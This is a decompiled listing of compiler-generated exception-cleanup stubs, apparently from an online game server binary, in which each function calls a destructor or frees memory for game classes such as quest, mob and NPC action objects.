//----- (00623FB0) -------------------------------------------------------- void __usercall _L228934(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 44)); } //----- (00623FB8) -------------------------------------------------------- void __usercall _L228935(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 72)); } //----- (00623FF0) -------------------------------------------------------- void __usercall _L231868(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 628)); } //----- (00624010) -------------------------------------------------------- void __usercall _L231923(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 600)); } //----- (00624030) -------------------------------------------------------- void __usercall _L231997(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67684)); } //----- (00624050) -------------------------------------------------------- void __usercall _L232018(int a1) { operator delete(*(void **)(a1 - 40)); } //----- (00624070) -------------------------------------------------------- void __usercall _L235930(int a1) { std::set_std::allocator>::_set_std::allocator>((std::set,std::allocator > *)(*(_DWORD *)(a1 - 16) + 8)); } //----- (0062407B) -------------------------------------------------------- void __usercall _L235931(int a1) { std::set_std::allocator>::_set_std::allocator>((std::set,std::allocator > *)(*(_DWORD *)(a1 - 16) + 20)); } //----- (00624090) -------------------------------------------------------- void __usercall _L238608(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (006240B0) -------------------------------------------------------- void __usercall _L175172(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (006240D0) -------------------------------------------------------- void __usercall _L175466(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 136)); } //----- (006240F0) -------------------------------------------------------- void __usercall _L179888(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00624110) -------------------------------------------------------- void __usercall _L180021(int a1) { CQuest::_CQuest(*(CQuest **)(a1 - 16)); } //----- (00624130) -------------------------------------------------------- void __usercall _L180091(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (00624150) -------------------------------------------------------- void __usercall _L181064(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00624158) -------------------------------------------------------- void __usercall _L181065(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (00624170) -------------------------------------------------------- void __usercall _L181161(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (00624178) -------------------------------------------------------- void __usercall _L181162(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (00624190) -------------------------------------------------------- void __usercall _L181971(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (006241B0) -------------------------------------------------------- void __usercall _L182101_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (006241D0) -------------------------------------------------------- void __usercall _L182148(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 84)); } //----- (006241F0) -------------------------------------------------------- void __usercall _L182239(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 244)); } //----- (006241FB) -------------------------------------------------------- void __usercall _L182240(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 216)); } //----- (00624210) -------------------------------------------------------- void __usercall _L182899(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00624218) -------------------------------------------------------- void __usercall _L182901(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00624230) -------------------------------------------------------- void __usercall _L182990(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00624238) -------------------------------------------------------- void __usercall _L182992(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 + 12)); } //----- (00624240) -------------------------------------------------------- void __usercall _L182991(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 + 12)); } //----- (00624260) -------------------------------------------------------- void __usercall _L183119(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (00624280) -------------------------------------------------------- void __usercall _L183168(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (006242A0) -------------------------------------------------------- void __usercall _L183225(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 156)); } //----- (006242C0) -------------------------------------------------------- void __usercall _L183635(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (006242C8) -------------------------------------------------------- void __usercall _L183636(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 + 8)); } //----- (006242D0) -------------------------------------------------------- void __usercall _L183637(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (006242D8) -------------------------------------------------------- void __usercall _L183638(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 + 8)); } //----- (006242E0) -------------------------------------------------------- void __usercall _L183639(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 + 8)); } //----- (006242E8) -------------------------------------------------------- void __usercall _L183640(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 + 8)); } //----- (006242F0) -------------------------------------------------------- void __usercall _L183641(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00624310) -------------------------------------------------------- void __usercall _L184204(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 64)); } //----- (00624318) -------------------------------------------------------- void __usercall _L184205(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 60)); } //----- (00624320) -------------------------------------------------------- void __usercall _L184206(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 68)); } //----- (00624328) -------------------------------------------------------- void __usercall _L184212(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 72)); } //----- (00624330) -------------------------------------------------------- void __usercall _L184214(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 56)); } //----- (00624338) -------------------------------------------------------- void __usercall _L184215(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (00624340) -------------------------------------------------------- void __usercall _L184207(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 72)); } //----- (00624348) -------------------------------------------------------- void __usercall _L184208(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 72)); } //----- (00624350) -------------------------------------------------------- void __usercall _L184209(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 72)); } //----- (00624358) -------------------------------------------------------- void __usercall _L184210(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 72)); } //----- (00624360) -------------------------------------------------------- void __usercall _L184211(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 72)); } //----- (00624368) -------------------------------------------------------- void __usercall _L184213(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 72)); } //----- (00624380) -------------------------------------------------------- void __usercall _L184378(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 636)); } //----- (006243A0) -------------------------------------------------------- void __usercall _L184459(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 340)); } //----- (006243C0) -------------------------------------------------------- void __usercall _L184641(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 380)); } //----- (006243E0) -------------------------------------------------------- void __usercall _L185533(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00624400) -------------------------------------------------------- void __usercall _L186335(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00624430) -------------------------------------------------------- void __usercall _L187009(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00624450) -------------------------------------------------------- void __usercall _L187140(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (00624470) -------------------------------------------------------- void __usercall _L187482(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00624478) -------------------------------------------------------- void __usercall _L187483(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (006244B8) -------------------------------------------------------- void __usercall _L166608(int a1) { VectorClass::VectorWithLength::_VectorWithLength((VectorClass::VectorWithLength *)(a1 - 44)); } //----- (006244D0) -------------------------------------------------------- void __usercall _L167815(int a1) { NPCAction::BallAction::_BallAction(*(SlantedCoordList::ObjectYCoordNode **)(a1 - 16)); } //----- (006244F0) -------------------------------------------------------- void __usercall _L168070(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00624510) -------------------------------------------------------- void __usercall _L170746(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00624530) -------------------------------------------------------- void __usercall _L167824(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 56)); } //----- (00624538) -------------------------------------------------------- void __usercall _L167825(int a1) { Observer::_Observer((Observer *)(a1 - 36)); } //----- (00624550) -------------------------------------------------------- void __usercall _L168981_0(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { IObserver::_IObserver(*(IObserver **)(a1 - 16)); } //----- (006245A0) -------------------------------------------------------- void __usercall _L170874(int a1) { NPCAction::TriggerGen_OptionReader::_TriggerGen_OptionReader((NPCAction::TriggerGen_OptionReader *)(a1 + 12)); } //----- (006245A8) -------------------------------------------------------- void __usercall _L170875(int a1) { NPCAction::Trigger::_Trigger((NPCAction::Trigger *)(a1 - 36)); } //----- (00624650) -------------------------------------------------------- void __usercall _L172987(int a1) { std::vector>::_vector>((std::vector > *)(a1 + 12)); } //----- (00624658) -------------------------------------------------------- void __usercall _L172988(int a1) { if ( *(_DWORD *)(a1 - 16) & 1 ) { *(_DWORD *)(a1 - 16) &= 0xFFFFFFFEu; std::pair>>::_pair>>(*(std::pair > > **)(a1 + 4)); } } //----- (00624680) -------------------------------------------------------- void __usercall _L173012(int a1) { NPCAction::Trigger::_Trigger((NPCAction::Trigger *)(a1 + 8)); } //----- (006246C0) -------------------------------------------------------- void __usercall _L173574(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (006246E0) -------------------------------------------------------- void __usercall _L173956(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67684)); } //----- (006246EB) -------------------------------------------------------- void __usercall _L173957(int a1) { NPCAction::TriggerGen_OptionReader::_TriggerGen_OptionReader((NPCAction::TriggerGen_OptionReader *)(a1 - 67708)); } //----- (006246F6) -------------------------------------------------------- void __usercall _L173958(int a1) { NPCAction::TriggerGen_OptionReader::_TriggerGen_OptionReader(*(NPCAction::TriggerGen_OptionReader **)(a1 - 67712)); } //----- (00624710) -------------------------------------------------------- void __usercall _L174153(int a1) { std::vector>::_vector>((std::vector > *)(a1 - 524)); } //----- (0062471B) -------------------------------------------------------- void __usercall _L174154(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 452)); } //----- (00624726) -------------------------------------------------------- void __usercall _L174156(int a1) { std::pair>>::_pair>>((std::pair > > *)(a1 - 484)); } //----- (00624731) -------------------------------------------------------- void __usercall _L174157(int a1) { std::pair>>::_pair>>((std::pair > > *)(a1 - 504)); } //----- (00624750) -------------------------------------------------------- void __usercall _L166248(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (00624758) -------------------------------------------------------- void __usercall _L166249(int a1) { Observer::_Observer((Observer *)(a1 - 36)); } //----- (00624770) -------------------------------------------------------- void __usercall _L168004_0(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00624790) -------------------------------------------------------- void __usercall _L169207_0(int a1) { IObserver::_IObserver(*(IObserver **)(a1 - 16)); } //----- (006247B0) -------------------------------------------------------- void __usercall _L170486(int a1) { std::vector>::_vector>((std::vector > *)(*(_DWORD *)(a1 - 44) + 8)); } //----- (006247BB) -------------------------------------------------------- void __usercall _L170598(int a1) { IObserver::_IObserver((IObserver *)(a1 - 36)); } //----- (006247C3) -------------------------------------------------------- void __usercall _L170488(int a1) { NPCAction::Trigger::_Trigger((NPCAction::Trigger *)(a1 - 36)); } //----- (00624810) -------------------------------------------------------- void __usercall _L79953(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00624830) -------------------------------------------------------- void __usercall _L81480(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { SHND::CommonData::_CommonData((ItemRandomOption::OptionTable *)(a1 - 32)); } //----- (00624850) -------------------------------------------------------- void __usercall _L78273(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00624870) -------------------------------------------------------- void __usercall _L170944(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00624890) -------------------------------------------------------- void __usercall _L79092(int a1) { BitSet::_BitSet((BitSet *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (006248B0) -------------------------------------------------------- void __usercall _L83010(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (006248D0) -------------------------------------------------------- void __usercall _L84179(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (00624920) -------------------------------------------------------- void __usercall _L87471(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00624960) -------------------------------------------------------- void __usercall _L88074(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00624980) -------------------------------------------------------- void __usercall _L88685(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (006249A0) -------------------------------------------------------- void __usercall _L88734_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (006249C0) -------------------------------------------------------- void __usercall _L88844(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 64)); } //----- (006249C8) -------------------------------------------------------- unsigned int __cdecl _L88845() { unsigned int result; // eax@1 result = _S4_2 & 0xFFFFFFFE; _S4_2 &= 0xFFFFFFFEu; return result; } //----- (006249E0) -------------------------------------------------------- void __usercall _L119876(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00624A00) -------------------------------------------------------- void __usercall _L119918(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (00624A08) -------------------------------------------------------- void __usercall _L119919(int a1) { if ( *(_DWORD *)(a1 - 44) & 1 ) { *(_DWORD *)(a1 - 44) &= 0xFFFFFFFEu; ShineObjectClass::ShineMobileObject::smo_ChineCastCut(*(DiceTaiSaiDividind **)(a1 + 4)); } } //----- (00624A30) -------------------------------------------------------- void __usercall _L176190(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00624A38) -------------------------------------------------------- void __usercall _L176191(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00624A50) -------------------------------------------------------- void __usercall _L176493(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00624A70) -------------------------------------------------------- void __usercall _L60747(int a1) { IObserver::_IObserver(*(IObserver **)(a1 - 16)); } //----- (00624A78) -------------------------------------------------------- void __usercall _L60748(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 16)); } //----- (00624A90) -------------------------------------------------------- void __usercall _L176714(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00624AB0) -------------------------------------------------------- void __usercall _L176973(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00624AD0) -------------------------------------------------------- void __usercall _L177127(int a1) { List::_List((List *)(*(_DWORD *)(a1 - 16) + 12)); } //----- (00624AF0) -------------------------------------------------------- void __usercall _L175556(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (00624B10) -------------------------------------------------------- unsigned int __cdecl _L175799() { unsigned int result; // eax@1 result = _S5_67 & 0xFFFFFFFE; _S5_67 &= 0xFFFFFFFEu; return result; } //----- (00624B30) -------------------------------------------------------- void __usercall _L175958(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 180)); } //----- (00624B50) -------------------------------------------------------- void __usercall _L172354(int a1) { ABStateCondition::_ABStateCondition(*(RangeCondition **)(a1 - 16)); } //----- (00624B70) -------------------------------------------------------- void __usercall _L173073(int a1) { operator delete(*(void **)(a1 + 4)); } //----- (00624B7B) -------------------------------------------------------- void __usercall _L173074(int a1) { operator delete(*(void **)(a1 + 4)); } //----- (00624B86) -------------------------------------------------------- void __usercall _L173075(int a1) { operator delete(*(void **)(a1 + 4)); } //----- (00624B91) -------------------------------------------------------- void __usercall _L173076(int a1) { operator delete(*(void **)(a1 + 4)); } //----- (00624B9C) -------------------------------------------------------- void __usercall _L173077(int a1) { operator delete(*(void **)(a1 + 4)); } //----- (00624BA7) -------------------------------------------------------- void __usercall _L173078(int a1) { operator delete(*(void **)(a1 + 4)); } //----- (00624BC0) -------------------------------------------------------- void __usercall _L174955(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00624BE0) -------------------------------------------------------- void __usercall _L168312(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00624C00) -------------------------------------------------------- void __usercall _L168895(int a1) { AxialListNearExecution_All::_AxialListNearExecution_All((AxialListNearExecution_All *)(a1 - 3236)); } //----- (00624C0B) -------------------------------------------------------- void __usercall _L168896(int a1) { AxialListNearExecution_All::_AxialListNearExecution_All((AxialListNearExecution_All *)(a1 - 3236)); } //----- (00624C16) -------------------------------------------------------- void __usercall _L168897(int a1) { AxialListNearExecution_All::_AxialListNearExecution_All((AxialListNearExecution_All *)(a1 - 3236)); } //----- (00624C21) -------------------------------------------------------- void __usercall _L168898(int a1) { AxialListNearExecution_All::_AxialListNearExecution_All((AxialListNearExecution_All *)(a1 - 3236)); } //----- (00624C2C) -------------------------------------------------------- void __usercall _L168899(int a1) { AxialListNearExecution_All::_AxialListNearExecution_All((AxialListNearExecution_All *)(a1 - 3236)); } //----- (00624C37) -------------------------------------------------------- void __usercall _L168900(int a1) { AxialListNearExecution_All::_AxialListNearExecution_All((AxialListNearExecution_All *)(a1 - 1624)); } //----- (00624C50) -------------------------------------------------------- void __usercall _L172322(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00624C70) -------------------------------------------------------- void __usercall _L186572(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00624C90) -------------------------------------------------------- void __usercall _L188067(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (00624CB0) -------------------------------------------------------- unsigned int __cdecl _L188093() { unsigned int result; // eax@1 result = _S5_68 & 0xFFFFFFFE; _S5_68 &= 0xFFFFFFFEu; return result; } //----- (00624CD0) -------------------------------------------------------- void __usercall _L189713(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00624D10) -------------------------------------------------------- void __usercall _L191782(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00624D50) -------------------------------------------------------- void __usercall _L173540(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00624D70) -------------------------------------------------------- void __usercall _L174967(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00624D90) -------------------------------------------------------- void __usercall _L175035(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (00624D98) -------------------------------------------------------- void __usercall _L175036(int a1) { AxialListMobStateSet::_AxialListMobStateSet((AxialListMobStateSet *)(a1 - 36)); } //----- (00624DB0) -------------------------------------------------------- void __usercall _L175376(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (00624DD0) -------------------------------------------------------- void __usercall _L178655_0(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00624E10) -------------------------------------------------------- void __usercall _L181263(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 196)); } //----- (00624E1B) -------------------------------------------------------- void __usercall _L181264(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 184)); } //----- (00624E30) -------------------------------------------------------- void __usercall _L181331(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 172)); } //----- (00624E3B) -------------------------------------------------------- void __usercall _L181332(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 168)); } //----- (00624E70) -------------------------------------------------------- void __usercall _L183555(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00624ED0) -------------------------------------------------------- void __usercall _L185457_0(int a1) { KQContribute::KQContributeList::_KQContributeList(*(KQContribute::KQContributeList **)(a1 - 16)); } //----- (00624EF0) -------------------------------------------------------- void __usercall _L185670(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 152)); } //----- (00624EFB) -------------------------------------------------------- void __usercall _L185671(int a1) { SHND::CommonData::_CommonData((ItemRandomOption::OptionTable *)(a1 - 172)); } //----- (00624F06) -------------------------------------------------------- void __usercall _L185672(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 148)); } //----- (00624F11) -------------------------------------------------------- void __usercall _L185673(int a1) { SHND::CommonData::_CommonData((ItemRandomOption::OptionTable *)(a1 - 172)); } //----- (00624F30) -------------------------------------------------------- void __usercall _L182465_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (00624F50) -------------------------------------------------------- void __usercall _L181402(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 64)); } //----- (00624F58) -------------------------------------------------------- void __usercall _L181403(int a1) { AxialListNPCSearch::_AxialListNPCSearch((AxialListNPCSearch *)(a1 - 56)); } //----- (00624F70) -------------------------------------------------------- void __usercall _L181539(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00624F78) -------------------------------------------------------- void __usercall _L181540(int a1) { AxialQuesterFind::_AxialQuesterFind((AxialQuesterFind *)(a1 - 28)); } //----- (00624F90) -------------------------------------------------------- void __usercall _L181890(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 264)); } //----- (00624FB0) -------------------------------------------------------- void __usercall _L182031(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00624FB8) -------------------------------------------------------- void __usercall _L182032(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00624FD0) -------------------------------------------------------- void __usercall _L182274(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00624FF0) -------------------------------------------------------- void __usercall _L182522(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00624FF8) -------------------------------------------------------- void __usercall _L182523(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00625010) -------------------------------------------------------- void __usercall _L182861(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (00625018) -------------------------------------------------------- void __usercall _L182862(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00625030) -------------------------------------------------------- void __usercall _L183427(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (00625050) -------------------------------------------------------- void __usercall _L183481(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 60)); } //----- (00625070) -------------------------------------------------------- void __usercall _L183567(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (00625090) -------------------------------------------------------- void __usercall _L183725(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (006250B0) -------------------------------------------------------- void __usercall _L183846(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (006250B8) -------------------------------------------------------- void __usercall _L183847(int a1) { AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)(a1 - 20)); } //----- (006250D0) -------------------------------------------------------- void __usercall _L183898(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (006250D8) -------------------------------------------------------- void __usercall _L183899(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 24)); } //----- (006250F0) -------------------------------------------------------- void __usercall _L184108(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1628)); } //----- (006250FB) -------------------------------------------------------- void __usercall _L184109(int a1) { AxialListNearScanObjectType::_AxialListNearScanObjectType((AxialListNearScanObjectType *)(a1 - 1624)); } //----- (00625110) -------------------------------------------------------- void __usercall _L184171(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00625118) -------------------------------------------------------- void __usercall _L184172(int a1) { AxialListMobSuicide::_AxialListMobSuicide((AxialListMobSuicide *)(a1 - 20)); } //----- (00625130) -------------------------------------------------------- void __usercall _L184278(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00625138) -------------------------------------------------------- void __usercall _L184279(int a1) { AxialListKQEndLua::_AxialListKQEndLua((AxialListKQEndLua *)(a1 - 24)); } //----- (00625140) -------------------------------------------------------- void __usercall _L184280(int a1) { AxialListKQEndLua::_AxialListKQEndLua((AxialListKQEndLua *)(a1 - 24)); } //----- (00625160) -------------------------------------------------------- void __usercall _L184586(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (00625180) -------------------------------------------------------- void __usercall _L184939_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (006251A0) -------------------------------------------------------- void __usercall _L185037_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (006251C0) -------------------------------------------------------- void __usercall _L185087_1(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 60)); } //----- (006251C8) -------------------------------------------------------- void __usercall _L185088_1(int a1) { AxialListMobIndexVanish::_AxialListMobIndexVanish((AxialListMobIndexVanish *)(a1 - 56)); } //----- (006251E0) -------------------------------------------------------- void __usercall _L185358_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 64)); } //----- (00625200) -------------------------------------------------------- void __usercall _L185465(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1636)); } //----- (0062520B) -------------------------------------------------------- void __usercall _L185466(int a1) { AxialListEnemyInAray::_AxialListEnemyInAray((AxialListEnemyInAray *)(a1 - 1632)); } //----- (00625220) -------------------------------------------------------- void __usercall _L185515_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00625228) -------------------------------------------------------- void __usercall _L185516(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00625240) -------------------------------------------------------- void __usercall _L185582(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 112)); } //----- (00625248) -------------------------------------------------------- void __usercall _L185583(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 68)); } //----- (00625260) -------------------------------------------------------- void __usercall _L185652(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (006252B0) -------------------------------------------------------- void __usercall _L191264(int a1) { 